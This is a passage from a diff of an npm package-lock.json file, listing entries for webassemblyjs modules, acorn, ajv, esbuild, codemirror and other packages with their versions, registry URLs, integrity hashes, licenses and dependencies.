"resolved": "https://registry.npmjs.org/@webassemblyjs/utf8/-/utf8-1.13.2.tgz",
2563
+
"integrity": "sha512-3NQWGjKTASY1xV5m7Hr0iPeXD9+RDobLll3T9d2AO+g3my8xy5peVyjSag4I50mR1bBSN/Ct12lo+R9tJk0NZQ==",
2564
+
"license": "MIT",
2565
+
"peer": true
2566
+
},
2567
+
"node_modules/@webassemblyjs/wasm-edit": {
2568
+
"version": "1.14.1",
2569
+
"resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-edit/-/wasm-edit-1.14.1.tgz",
2570
+
"integrity": "sha512-RNJUIQH/J8iA/1NzlE4N7KtyZNHi3w7at7hDjvRNm5rcUXa00z1vRz3glZoULfJ5mpvYhLybmVcwcjGrC1pRrQ==",
2571
+
"license": "MIT",
2572
+
"peer": true,
2573
+
"dependencies": {
2574
+
"@webassemblyjs/ast": "1.14.1",
2575
+
"@webassemblyjs/helper-buffer": "1.14.1",
2576
+
"@webassemblyjs/helper-wasm-bytecode": "1.13.2",
2577
+
"@webassemblyjs/helper-wasm-section": "1.14.1",
2578
+
"@webassemblyjs/wasm-gen": "1.14.1",
2579
+
"@webassemblyjs/wasm-opt": "1.14.1",
2580
+
"@webassemblyjs/wasm-parser": "1.14.1",
2581
+
"@webassemblyjs/wast-printer": "1.14.1"
2582
+
}
2583
+
},
2584
+
"node_modules/@webassemblyjs/wasm-gen": {
2585
+
"version": "1.14.1",
2586
+
"resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-gen/-/wasm-gen-1.14.1.tgz",
2587
+
"integrity": "sha512-AmomSIjP8ZbfGQhumkNvgC33AY7qtMCXnN6bL2u2Js4gVCg8fp735aEiMSBbDR7UQIj90n4wKAFUSEd0QN2Ukg==",
2588
+
"license": "MIT",
2589
+
"peer": true,
2590
+
"dependencies": {
2591
+
"@webassemblyjs/ast": "1.14.1",
2592
+
"@webassemblyjs/helper-wasm-bytecode": "1.13.2",
2593
+
"@webassemblyjs/ieee754": "1.13.2",
2594
+
"@webassemblyjs/leb128": "1.13.2",
2595
+
"@webassemblyjs/utf8": "1.13.2"
2596
+
}
2597
+
},
2598
+
"node_modules/@webassemblyjs/wasm-opt": {
2599
+
"version": "1.14.1",
2600
+
"resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-opt/-/wasm-opt-1.14.1.tgz",
2601
+
"integrity": "sha512-PTcKLUNvBqnY2U6E5bdOQcSM+oVP/PmrDY9NzowJjislEjwP/C4an2303MCVS2Mg9d3AJpIGdUFIQQWbPds0Sw==",
2602
+
"license": "MIT",
2603
+
"peer": true,
2604
+
"dependencies": {
2605
+
"@webassemblyjs/ast": "1.14.1",
2606
+
"@webassemblyjs/helper-buffer": "1.14.1",
2607
+
"@webassemblyjs/wasm-gen": "1.14.1",
2608
+
"@webassemblyjs/wasm-parser": "1.14.1"
2609
+
}
2610
+
},
2611
+
"node_modules/@webassemblyjs/wasm-parser": {
2612
+
"version": "1.14.1",
2613
+
"resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-parser/-/wasm-parser-1.14.1.tgz",
2614
+
"integrity": "sha512-JLBl+KZ0R5qB7mCnud/yyX08jWFw5MsoalJ1pQ4EdFlgj9VdXKGuENGsiCIjegI1W7p91rUlcB/LB5yRJKNTcQ==",
2615
+
"license": "MIT",
2616
+
"peer": true,
2617
+
"dependencies": {
2618
+
"@webassemblyjs/ast": "1.14.1",
2619
+
"@webassemblyjs/helper-api-error": "1.13.2",
2620
+
"@webassemblyjs/helper-wasm-bytecode": "1.13.2",
2621
+
"@webassemblyjs/ieee754": "1.13.2",
2622
+
"@webassemblyjs/leb128": "1.13.2",
2623
+
"@webassemblyjs/utf8": "1.13.2"
2624
+
}
2625
+
},
2626
+
"node_modules/@webassemblyjs/wast-printer": {
2627
+
"version": "1.14.1",
2628
+
"resolved": "https://registry.npmjs.org/@webassemblyjs/wast-printer/-/wast-printer-1.14.1.tgz",
2629
+
"integrity": "sha512-kPSSXE6De1XOR820C90RIo2ogvZG+c3KiHzqUoO/F34Y2shGzesfqv7o57xrxovZJH/MetF5UjroJ/R/3isoiw==",
2630
+
"license": "MIT",
2631
+
"peer": true,
2632
+
"dependencies": {
2633
+
"@webassemblyjs/ast": "1.14.1",
2634
+
"@xtuc/long": "4.2.2"
2635
+
}
2636
+
},
2637
+
"node_modules/@xtuc/ieee754": {
2638
+
"version": "1.2.0",
2639
+
"resolved": "https://registry.npmjs.org/@xtuc/ieee754/-/ieee754-1.2.0.tgz",
2640
+
"integrity": "sha512-DX8nKgqcGwsc0eJSqYt5lwP4DH5FlHnmuWWBRy7X0NcaGR0ZtuyeESgMwTYVEtxmsNGY+qit4QYT/MIYTOTPeA==",
2641
+
"license": "BSD-3-Clause",
2642
+
"peer": true
2643
+
},
2644
+
"node_modules/@xtuc/long": {
2645
+
"version": "4.2.2",
2646
+
"resolved": "https://registry.npmjs.org/@xtuc/long/-/long-4.2.2.tgz",
2647
+
"integrity": "sha512-NuHqBY1PB/D8xU6s/thBgOAiAP7HOYDQ32+BFZILJ8ivkUkAHQnWfn6WhL79Owj1qmUnoN/YPhktdIoucipkAQ==",
2648
+
"license": "Apache-2.0",
2649
+
"peer": true
2650
+
},
2651
+
"node_modules/acorn": {
2652
+
"version": "8.15.0",
2653
+
"resolved": "https://registry.npmjs.org/acorn/-/acorn-8.15.0.tgz",
2654
+
"integrity": "sha512-NZyJarBfL7nWwIq+FDL6Zp/yHEhePMNnnJ0y3qfieCrmNvYct8uvtiV41UvlSe6apAfk0fY1FbWx+NwfmpvtTg==",
2655
+
"license": "MIT",
2656
+
"bin": {
2657
+
"acorn": "bin/acorn"
2658
+
},
2659
+
"engines": {
2660
+
"node": ">=0.4.0"
2661
+
}
2662
+
},
2663
+
"node_modules/acorn-import-phases": {
2664
+
"version": "1.0.4",
2665
+
"resolved": "https://registry.npmjs.org/acorn-import-phases/-/acorn-import-phases-1.0.4.tgz",
2666
+
"integrity": "sha512-wKmbr/DDiIXzEOiWrTTUcDm24kQ2vGfZQvM2fwg2vXqR5uW6aapr7ObPtj1th32b9u90/Pf4AItvdTh42fBmVQ==",
2667
+
"license": "MIT",
2668
+
"peer": true,
2669
+
"engines": {
2670
+
"node": ">=10.13.0"
2671
+
},
2672
+
"peerDependencies": {
2673
+
"acorn": "^8.14.0"
2674
+
}
2675
+
},
2676
+
"node_modules/acorn-loose": {
2677
+
"version": "8.5.2",
2678
+
"resolved": "https://registry.npmjs.org/acorn-loose/-/acorn-loose-8.5.2.tgz",
2679
+
"integrity": "sha512-PPvV6g8UGMGgjrMu+n/f9E/tCSkNQ2Y97eFvuVdJfG11+xdIeDcLyNdC8SHcrHbRqkfwLASdplyR6B6sKM1U4A==",
2680
+
"license": "MIT",
2681
+
"dependencies": {
2682
+
"acorn": "^8.15.0"
2683
+
},
2684
+
"engines": {
2685
+
"node": ">=0.4.0"
2686
+
}
2687
+
},
2688
+
"node_modules/acorn-walk": {
2689
+
"version": "8.3.2",
2690
+
"resolved": "https://registry.npmjs.org/acorn-walk/-/acorn-walk-8.3.2.tgz",
2691
+
"integrity": "sha512-cjkyv4OtNCIeqhHrfS81QWXoCBPExR/J62oyEqepVw8WaQeSqpW2uhuLPh1m9eWhDuOo/jUXVTlifvesOWp/4A==",
2692
+
"dev": true,
2693
+
"license": "MIT",
2694
+
"engines": {
2695
+
"node": ">=0.4.0"
2696
+
}
2697
+
},
2698
+
"node_modules/ajv": {
2699
+
"version": "8.17.1",
2700
+
"resolved": "https://registry.npmjs.org/ajv/-/ajv-8.17.1.tgz",
2701
+
"integrity": "sha512-B/gBuNg5SiMTrPkC+A2+cW0RszwxYmn6VYxB/inlBStS5nx6xHIt/ehKRhIMhqusl7a8LjQoZnjCs5vhwxOQ1g==",
2702
+
"license": "MIT",
2703
+
"peer": true,
2704
+
"dependencies": {
2705
+
"fast-deep-equal": "^3.1.3",
2706
+
"fast-uri": "^3.0.1",
2707
+
"json-schema-traverse": "^1.0.0",
2708
+
"require-from-string": "^2.0.2"
2709
+
},
2710
+
"funding": {
2711
+
"type": "github",
2712
+
"url": "https://github.com/sponsors/epoberezkin"
2713
+
}
2714
+
},
2715
+
"node_modules/ajv-formats": {
2716
+
"version": "2.1.1",
2717
+
"resolved": "https://registry.npmjs.org/ajv-formats/-/ajv-formats-2.1.1.tgz",
2718
+
"integrity": "sha512-Wx0Kx52hxE7C18hkMEggYlEifqWZtYaRgouJor+WMdPnQyEK13vgEWyVNup7SoeeoLMsr4kf5h6dOW11I15MUA==",
2719
+
"license": "MIT",
2720
+
"peer": true,
2721
+
"dependencies": {
2722
+
"ajv": "^8.0.0"
2723
+
},
2724
+
"peerDependencies": {
2725
+
"ajv": "^8.0.0"
2726
+
},
2727
+
"peerDependenciesMeta": {
2728
+
"ajv": {
2729
+
"optional": true
2730
+
}
2731
+
}
2732
+
},
2733
+
"node_modules/ajv-keywords": {
2734
+
"version": "5.1.0",
2735
+
"resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-5.1.0.tgz",
2736
+
"integrity": "sha512-YCS/JNFAUyr5vAuhk1DWm1CBxRHW9LbJ2ozWeemrIqpbsqKjHVxYPyi5GC0rjZIT5JxJ3virVTS8wk4i/Z+krw==",
2737
+
"license": "MIT",
2738
+
"peer": true,
2739
+
"dependencies": {
2740
+
"fast-deep-equal": "^3.1.3"
2741
+
},
2742
+
"peerDependencies": {
2743
+
"ajv": "^8.8.2"
2744
+
}
2745
+
},
2746
+
"node_modules/assertion-error": {
2747
+
"version": "2.0.1",
2748
+
"resolved": "https://registry.npmjs.org/assertion-error/-/assertion-error-2.0.1.tgz",
2749
+
"integrity": "sha512-Izi8RQcffqCeNVgFigKli1ssklIbpHnCYc6AknXGYoB6grJqyeby7jv12JUQgmTAnIDnbck1uxksT4dzN3PWBA==",
2750
+
"dev": true,
2751
+
"license": "MIT",
2752
+
"engines": {
2753
+
"node": ">=12"
2754
+
}
2755
+
},
2756
+
"node_modules/baseline-browser-mapping": {
2757
+
"version": "2.9.7",
2758
+
"resolved": "https://registry.npmjs.org/baseline-browser-mapping/-/baseline-browser-mapping-2.9.7.tgz",
2759
+
"integrity": "sha512-k9xFKplee6KIio3IDbwj+uaCLpqzOwakOgmqzPezM0sFJlFKcg30vk2wOiAJtkTSfx0SSQDSe8q+mWA/fSH5Zg==",
2760
+
"license": "Apache-2.0",
2761
+
"bin": {
2762
+
"baseline-browser-mapping": "dist/cli.js"
2763
+
}
2764
+
},
2765
+
"node_modules/blake3-wasm": {
2766
+
"version": "2.1.5",
2767
+
"resolved": "https://registry.npmjs.org/blake3-wasm/-/blake3-wasm-2.1.5.tgz",
2768
+
"integrity": "sha512-F1+K8EbfOZE49dtoPtmxUQrpXaBIl3ICvasLh+nJta0xkz+9kF/7uet9fLnwKqhDrmj6g+6K3Tw9yQPUg2ka5g==",
2769
+
"dev": true,
2770
+
"license": "MIT"
2771
+
},
2772
+
"node_modules/browserslist": {
2773
+
"version": "4.28.1",
2774
+
"resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.28.1.tgz",
2775
+
"integrity": "sha512-ZC5Bd0LgJXgwGqUknZY/vkUQ04r8NXnJZ3yYi4vDmSiZmC/pdSN0NbNRPxZpbtO4uAfDUAFffO8IZoM3Gj8IkA==",
2776
+
"funding": [
2777
+
{
2778
+
"type": "opencollective",
2779
+
"url": "https://opencollective.com/browserslist"
2780
+
},
2781
+
{
2782
+
"type": "tidelift",
2783
+
"url": "https://tidelift.com/funding/github/npm/browserslist"
2784
+
},
2785
+
{
2786
+
"type": "github",
2787
+
"url": "https://github.com/sponsors/ai"
2788
+
}
2789
+
],
2790
+
"license": "MIT",
2791
+
"dependencies": {
2792
+
"baseline-browser-mapping": "^2.9.0",
2793
+
"caniuse-lite": "^1.0.30001759",
2794
+
"electron-to-chromium": "^1.5.263",
2795
+
"node-releases": "^2.0.27",
2796
+
"update-browserslist-db": "^1.2.0"
2797
+
},
2798
+
"bin": {
2799
+
"browserslist": "cli.js"
2800
+
},
2801
+
"engines": {
2802
+
"node": "^6 || ^7 || ^8 || ^9 || ^10 || ^11 || ^12 || >=13.7"
2803
+
}
2804
+
},
2805
+
"node_modules/buffer-from": {
2806
+
"version": "1.1.2",
2807
+
"resolved": "https://registry.npmjs.org/buffer-from/-/buffer-from-1.1.2.tgz",
2808
+
"integrity": "sha512-E+XQCRwSbaaiChtv6k6Dwgc+bx+Bs6vuKJHHl5kox/BaKbhiXzqQOwK4cO22yElGp2OCmjwVhT3HmxgyPGnJfQ==",
2809
+
"license": "MIT",
2810
+
"peer": true
2811
+
},
2812
+
"node_modules/caniuse-lite": {
2813
+
"version": "1.0.30001760",
2814
+
"resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001760.tgz",
2815
+
"integrity": "sha512-7AAMPcueWELt1p3mi13HR/LHH0TJLT11cnwDJEs3xA4+CK/PLKeO9Kl1oru24htkyUKtkGCvAx4ohB0Ttry8Dw==",
2816
+
"funding": [
2817
+
{
2818
+
"type": "opencollective",
2819
+
"url": "https://opencollective.com/browserslist"
2820
+
},
2821
+
{
2822
+
"type": "tidelift",
2823
+
"url": "https://tidelift.com/funding/github/npm/caniuse-lite"
2824
+
},
2825
+
{
2826
+
"type": "github",
2827
+
"url": "https://github.com/sponsors/ai"
2828
+
}
2829
+
],
2830
+
"license": "CC-BY-4.0"
2831
+
},
2832
+
"node_modules/chai": {
2833
+
"version": "6.2.1",
2834
+
"resolved": "https://registry.npmjs.org/chai/-/chai-6.2.1.tgz",
2835
+
"integrity": "sha512-p4Z49OGG5W/WBCPSS/dH3jQ73kD6tiMmUM+bckNK6Jr5JHMG3k9bg/BvKR8lKmtVBKmOiuVaV2ws8s9oSbwysg==",
2836
+
"dev": true,
2837
+
"license": "MIT",
2838
+
"engines": {
2839
+
"node": ">=18"
2840
+
}
2841
+
},
2842
+
"node_modules/chrome-trace-event": {
2843
+
"version": "1.0.4",
2844
+
"resolved": "https://registry.npmjs.org/chrome-trace-event/-/chrome-trace-event-1.0.4.tgz",
2845
+
"integrity": "sha512-rNjApaLzuwaOTjCiT8lSDdGN1APCiqkChLMJxJPWLunPAt5fy8xgU9/jNOchV84wfIxrA0lRQB7oCT8jrn/wrQ==",
2846
+
"license": "MIT",
2847
+
"peer": true,
2848
+
"engines": {
2849
+
"node": ">=6.0"
2850
+
}
2851
+
},
2852
+
"node_modules/codemirror": {
2853
+
"version": "6.0.2",
2854
+
"resolved": "https://registry.npmjs.org/codemirror/-/codemirror-6.0.2.tgz",
2855
+
"integrity": "sha512-VhydHotNW5w1UGK0Qj96BwSk/Zqbp9WbnyK2W/eVMv4QyF41INRGpjUhFJY7/uDNuudSc33a/PKr4iDqRduvHw==",
2856
+
"license": "MIT",
2857
+
"dependencies": {
2858
+
"@codemirror/autocomplete": "^6.0.0",
2859
+
"@codemirror/commands": "^6.0.0",
2860
+
"@codemirror/language": "^6.0.0",
2861
+
"@codemirror/lint": "^6.0.0",
2862
+
"@codemirror/search": "^6.0.0",
2863
+
"@codemirror/state": "^6.0.0",
2864
+
"@codemirror/view": "^6.0.0"
2865
+
}
2866
+
},
2867
+
"node_modules/color": {
2868
+
"version": "4.2.3",
2869
+
"resolved": "https://registry.npmjs.org/color/-/color-4.2.3.tgz",
2870
+
"integrity": "sha512-1rXeuUUiGGrykh+CeBdu5Ie7OJwinCgQY0bc7GCRxy5xVHy+moaqkpL/jqQq0MtQOeYcrqEz4abc5f0KtU7W4A==",
2871
+
"dev": true,
2872
+
"license": "MIT",
2873
+
"dependencies": {
2874
+
"color-convert": "^2.0.1",
2875
+
"color-string": "^1.9.0"
2876
+
},
2877
+
"engines": {
2878
+
"node": ">=12.5.0"
2879
+
}
2880
+
},
2881
+
"node_modules/color-convert": {
2882
+
"version": "2.0.1",
2883
+
"resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
2884
+
"integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
2885
+
"dev": true,
2886
+
"license": "MIT",
2887
+
"dependencies": {
2888
+
"color-name": "~1.1.4"
2889
+
},
2890
+
"engines": {
2891
+
"node": ">=7.0.0"
2892
+
}
2893
+
},
2894
+
"node_modules/color-name": {
2895
+
"version": "1.1.4",
2896
+
"resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
2897
+
"integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==",
2898
+
"dev": true,
2899
+
"license": "MIT"
2900
+
},
2901
+
"node_modules/color-string": {
2902
+
"version": "1.9.1",
2903
+
"resolved": "https://registry.npmjs.org/color-string/-/color-string-1.9.1.tgz",
2904
+
"integrity": "sha512-shrVawQFojnZv6xM40anx4CkoDP+fZsw/ZerEMsW/pyzsRbElpsL/DBVW7q3ExxwusdNXI3lXpuhEZkzs8p5Eg==",
2905
+
"dev": true,
2906
+
"license": "MIT",
2907
+
"dependencies": {
2908
+
"color-name": "^1.0.0",
2909
+
"simple-swizzle": "^0.2.2"
2910
+
}
2911
+
},
2912
+
"node_modules/commander": {
2913
+
"version": "2.20.3",
2914
+
"resolved": "https://registry.npmjs.org/commander/-/commander-2.20.3.tgz",
2915
+
"integrity": "sha512-GpVkmM8vF2vQUkj2LvZmD35JxeJOLCwJ9cUkugyk2nuhbv3+mJvpLYYt+0+USMxE+oj+ey/lJEnhZw75x/OMcQ==",
2916
+
"license": "MIT",
2917
+
"peer": true
2918
+
},
2919
+
"node_modules/convert-source-map": {
2920
+
"version": "2.0.0",
2921
+
"resolved": "https://registry.npmjs.org/convert-source-map/-/convert-source-map-2.0.0.tgz",
2922
+
"integrity": "sha512-Kvp459HrV2FEJ1CAsi1Ku+MY3kasH19TFykTz2xWmMeq6bk2NU3XXvfJ+Q61m0xktWwt+1HSYf3JZsTms3aRJg==",
2923
+
"dev": true,
2924
+
"license": "MIT"
2925
+
},
2926
+
"node_modules/crelt": {
2927
+
"version": "1.0.6",
2928
+
"resolved": "https://registry.npmjs.org/crelt/-/crelt-1.0.6.tgz",
2929
+
"integrity": "sha512-VQ2MBenTq1fWZUH9DJNGti7kKv6EeAuYr3cLwxUWhIu1baTaXh4Ib5W2CqHVqib4/MqbYGJqiL3Zb8GJZr3l4g==",
2930
+
"license": "MIT"
2931
+
},
2932
+
"node_modules/debug": {
2933
+
"version": "4.4.3",
2934
+
"resolved": "https://registry.npmjs.org/debug/-/debug-4.4.3.tgz",
2935
+
"integrity": "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA==",
2936
+
"dev": true,
2937
+
"license": "MIT",
2938
+
"dependencies": {
2939
+
"ms": "^2.1.3"
2940
+
},
2941
+
"engines": {
2942
+
"node": ">=6.0"
2943
+
},
2944
+
"peerDependenciesMeta": {
2945
+
"supports-color": {
2946
+
"optional": true
2947
+
}
2948
+
}
2949
+
},
2950
+
"node_modules/detect-libc": {
2951
+
"version": "2.1.2",
2952
+
"resolved": "https://registry.npmjs.org/detect-libc/-/detect-libc-2.1.2.tgz",
2953
+
"integrity": "sha512-Btj2BOOO83o3WyH59e8MgXsxEQVcarkUOpEYrubB0urwnN10yQ364rsiByU11nZlqWYZm05i/of7io4mzihBtQ==",
2954
+
"dev": true,
2955
+
"license": "Apache-2.0",
2956
+
"engines": {
2957
+
"node": ">=8"
2958
+
}
2959
+
},
2960
+
"node_modules/electron-to-chromium": {
2961
+
"version": "1.5.267",
2962
+
"resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.5.267.tgz",
2963
+
"integrity": "sha512-0Drusm6MVRXSOJpGbaSVgcQsuB4hEkMpHXaVstcPmhu5LIedxs1xNK/nIxmQIU/RPC0+1/o0AVZfBTkTNJOdUw==",
2964
+
"license": "ISC"
2965
+
},
2966
+
"node_modules/enhanced-resolve": {
2967
+
"version": "5.18.4",
2968
+
"resolved": "https://registry.npmjs.org/enhanced-resolve/-/enhanced-resolve-5.18.4.tgz",
2969
+
"integrity": "sha512-LgQMM4WXU3QI+SYgEc2liRgznaD5ojbmY3sb8LxyguVkIg5FxdpTkvk72te2R38/TGKxH634oLxXRGY6d7AP+Q==",
2970
+
"license": "MIT",
2971
+
"peer": true,
2972
+
"dependencies": {
2973
+
"graceful-fs": "^4.2.4",
2974
+
"tapable": "^2.2.0"
2975
+
},
2976
+
"engines": {
2977
+
"node": ">=10.13.0"
2978
+
}
2979
+
},
2980
+
"node_modules/error-stack-parser-es": {
2981
+
"version": "1.0.5",
2982
+
"resolved": "https://registry.npmjs.org/error-stack-parser-es/-/error-stack-parser-es-1.0.5.tgz",
2983
+
"integrity": "sha512-5qucVt2XcuGMcEGgWI7i+yZpmpByQ8J1lHhcL7PwqCwu9FPP3VUXzT4ltHe5i2z9dePwEHcDVOAfSnHsOlCXRA==",
2984
+
"dev": true,
2985
+
"license": "MIT",
2986
+
"funding": {
2987
+
"url": "https://github.com/sponsors/antfu"
2988
+
}
2989
+
},
2990
+
"node_modules/es-module-lexer": {
2991
+
"version": "1.7.0",
2992
+
"resolved": "https://registry.npmjs.org/es-module-lexer/-/es-module-lexer-1.7.0.tgz",
2993
+
"integrity": "sha512-jEQoCwk8hyb2AZziIOLhDqpm5+2ww5uIE6lkO/6jcOCusfk6LhMHpXXfBLXTZ7Ydyt0j4VoUQv6uGNYbdW+kBA==",
2994
+
"license": "MIT"
2995
+
},
2996
+
"node_modules/esbuild": {
2997
+
"version": "0.27.0",
2998
+
"resolved": "https://registry.npmjs.org/esbuild/-/esbuild-0.27.0.tgz",
2999
+
"integrity": "sha512-jd0f4NHbD6cALCyGElNpGAOtWxSq46l9X/sWB0Nzd5er4Kz2YTm+Vl0qKFT9KUJvD8+fiO8AvoHhFvEatfVixA==",
3000
+
"dev": true,
3001
+
"hasInstallScript": true,
3002
+
"license": "MIT",
3003
+
"bin": {
3004
+
"esbuild": "bin/esbuild"
3005
+
},
3006
+
"engines": {
3007
+
"node": ">=18"
3008
+
},
3009
+
"optionalDependencies": {
3010
+
"@esbuild/aix-ppc64": "0.27.0",
3011
+
"@esbuild/android-arm": "0.27.0",
3012
+
"@esbuild/android-arm64": "0.27.0",
3013
+
"@esbuild/android-x64": "0.27.0",
3014
+
"@esbuild/darwin-arm64": "0.27.0",
3015
+
"@esbuild/darwin-x64": "0.27.0",
3016
+
"@esbuild/freebsd-arm64": "0.27.0",
3017
+
"@esbuild/freebsd-x64": "0.27.0",
3018
+
"@esbuild/linux-arm": "0.27.0",
3019
+
"@esbuild/linux-arm64": "0.27.0",
3020
+
"@esbuild/linux-ia32": "0.27.0",
3021
+
"@esbuild/linux-loong64": "0.27.0",
3022
+
"@esbuild/linux-mips64el": "0.27.0",
3023
+
"@esbuild/linux-ppc64": "0.27.0",
3024
+
"@esbuild/linux-riscv64": "0.27.0",
3025
+
"@esbuild/linux-s390x": "0.27.0",
3026
+
"@esbuild/linux-x64": "0.27.0",
3027
+
"@esbuild/netbsd-arm64": "0.27.0",
3028
+
"@esbuild/netbsd-x64": "0.27.0",
3029
+
"@esbuild/openbsd-arm64": "0.27.0",
3030
+
"@esbuild/openbsd-x64": "0.27.0",
3031
+
"@esbuild/openharmony-arm64": "0.27.0",
3032
+
"@esbuild/sunos-x64": "0.27.0",
3033
+
"@esbuild/win32-arm64": "0.27.0",
3034
+
"@esbuild/win32-ia32": "0.27.0",
3035
+
"@esbuild/win32-x64": "0.27.0"
3036
+
}
3037
+
},
3038
+
"node_modules/escalade": {
3039
+
"version": "3.2.0",
3040
+
"resolved": "https://registry.npmjs.org/escalade/-/escalade-3.2.0.tgz",
3041
+
"integrity": "sha512-WUj2qlxaQtO4g6Pq5c29GTcWGDyd8itL8zTlipgECz3JesAiiOKotd8JU6otB3PACgG6xkJUyVhboMS+bje/jA==",
3042
+
"license": "MIT",
3043
+
"engines": {
3044
+
"node": ">=6"
3045
+
}
3046
+
},
3047
+
"node_modules/eslint-scope": {
3048
+
"version": "5.1.1",
3049
+
"resolved": "https://registry.npmjs.org/eslint-scope/-/eslint-scope-5.1.1.tgz",
3050
+
"integrity": "sha512-2NxwbF/hZ0KpepYN0cNbo+FN6XoK7GaHlQhgx/hIZl6Va0bF45RQOOwhLIy8lQDbuCiadSLCBnH2CFYquit5bw==",
3051
+
"license": "BSD-2-Clause",
3052
+
"peer": true,
3053
+
"dependencies": {
3054
+
"esrecurse": "^4.3.0",
3055
+
"estraverse": "^4.1.1"
3056
+
},
3057
+
"engines": {
3058
+
"node": ">=8.0.0"
3059
+
}
3060
+
},
3061
+
"node_modules/esrecurse": {
3062
+
"version": "4.3.0",
3063
+
"resolved": "https://registry.npmjs.org/esrecurse/-/esrecurse-4.3.0.tgz",
3064
+
"integrity": "sha512-KmfKL3b6G+RXvP8N1vr3Tq1kL/oCFgn2NYXEtqP8/L3pKapUA4G8cFVaoF3SU323CD4XypR/ffioHmkti6/Tag==",
3065
+
"license": "BSD-2-Clause",
3066
+
"peer": true,
3067
+
"dependencies": {
3068
+
"estraverse": "^5.2.0"
3069
+
},
3070
+
"engines": {
3071
+
"node": ">=4.0"
3072
+
}
3073
+
},
3074
+
"node_modules/esrecurse/node_modules/estraverse": {
3075
+
"version": "5.3.0",
3076
+
"resolved": "https://registry.npmjs.org/estraverse/-/estraverse-5.3.0.tgz",
3077
+
"integrity": "sha512-MMdARuVEQziNTeJD8DgMqmhwR11BRQ/cBP+pLtYdSTnf3MIO8fFeiINEbX36ZdNlfU/7A9f3gUw49B3oQsvwBA==",
3078
+
"license": "BSD-2-Clause",
3079
+
"peer": true,
3080
+
"engines": {
3081
+
"node": ">=4.0"
3082
+
}
3083
+
},
3084
+
"node_modules/estraverse": {
3085
+
"version": "4.3.0",
3086
+
"resolved": "https://registry.npmjs.org/estraverse/-/estraverse-4.3.0.tgz",
3087
+
"integrity": "sha512-39nnKffWz8xN1BU/2c79n9nB9HDzo0niYUqx6xyqUnyoAnQyyWpOTdZEeiCch8BBu515t4wp9ZmgVfVhn9EBpw==",
3088
+
"license": "BSD-2-Clause",
3089
+
"peer": true,
3090
+
"engines": {
3091
+
"node": ">=4.0"
3092
+
}
3093
+
},
3094
+
"node_modules/estree-walker": {
3095
+
"version": "3.0.3",
3096
+
"resolved": "https://registry.npmjs.org/estree-walker/-/estree-walker-3.0.3.tgz",
3097
+
"integrity": "sha512-7RUKfXgSMMkzt6ZuXmqapOurLGPPfgj6l9uRZ7lRGolvk0y2yocc35LdcxKC5PQZdn2DMqioAQ2NoWcrTKmm6g==",
3098
+
"dev": true,
3099
+
"license": "MIT",
3100
+
"dependencies": {
3101
+
"@types/estree": "^1.0.0"
3102
+
}
3103
+
},
3104
+
"node_modules/events": {
3105
+
"version": "3.3.0",
3106
+
"resolved": "https://registry.npmjs.org/events/-/events-3.3.0.tgz",
3107
+
"integrity": "sha512-mQw+2fkQbALzQ7V0MY0IqdnXNOeTtP4r0lN9z7AAawCXgqea7bDii20AYrIBrFd/Hx0M2Ocz6S111CaFkUcb0Q==",
3108
+
"license": "MIT",
3109
+
"peer": true,
3110
+
"engines": {
3111
+
"node": ">=0.8.x"
3112
+
}
3113
+
},
3114
+
"node_modules/exit-hook": {
3115
+
"version": "2.2.1",
3116
+
"resolved": "https://registry.npmjs.org/exit-hook/-/exit-hook-2.2.1.tgz",
3117
+
"integrity": "sha512-eNTPlAD67BmP31LDINZ3U7HSF8l57TxOY2PmBJ1shpCvpnxBF93mWCE8YHBnXs8qiUZJc9WDcWIeC3a2HIAMfw==",
3118
+
"dev": true,
3119
+
"license": "MIT",
3120
+
"engines": {
3121
+
"node": ">=6"
3122
+
},
3123
+
"funding": {
3124
+
"url": "https://github.com/sponsors/sindresorhus"
3125
+
}
3126
+
},
3127
+
"node_modules/expect-type": {
3128
+
"version": "1.3.0",
3129
+
"resolved": "https://registry.npmjs.org/expect-type/-/expect-type-1.3.0.tgz",
3130
+
"integrity": "sha512-knvyeauYhqjOYvQ66MznSMs83wmHrCycNEN6Ao+2AeYEfxUIkuiVxdEa1qlGEPK+We3n0THiDciYSsCcgW/DoA==",
3131
+
"dev": true,
3132
+
"license": "Apache-2.0",
3133
+
"engines": {
3134
+
"node": ">=12.0.0"
3135
+
}
3136
+
},
3137
+
"node_modules/fast-deep-equal": {
3138
+
"version": "3.1.3",
3139
+
"resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz",
3140
+
"integrity": "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==",
3141
+
"license": "MIT",
3142
+
"peer": true
3143
+
},
3144
+
"node_modules/fast-uri": {
3145
+
"version": "3.1.0",
3146
+
"resolved": "https://registry.npmjs.org/fast-uri/-/fast-uri-3.1.0.tgz",
3147
+
"integrity": "sha512-iPeeDKJSWf4IEOasVVrknXpaBV0IApz/gp7S2bb7Z4Lljbl2MGJRqInZiUrQwV16cpzw/D3S5j5Julj/gT52AA==",
3148
+
"funding": [
3149
+
{
3150
+
"type": "github",
3151
+
"url": "https://github.com/sponsors/fastify"
3152
+
},
3153
+
{
3154
+
"type": "opencollective",
3155
+
"url": "https://opencollective.com/fastify"
3156
+
}
3157
+
],
3158
+
"license": "BSD-3-Clause",
3159
+
"peer": true
3160
+
},
3161
+
"node_modules/fsevents": {
3162
+
"version": "2.3.2",
3163
+
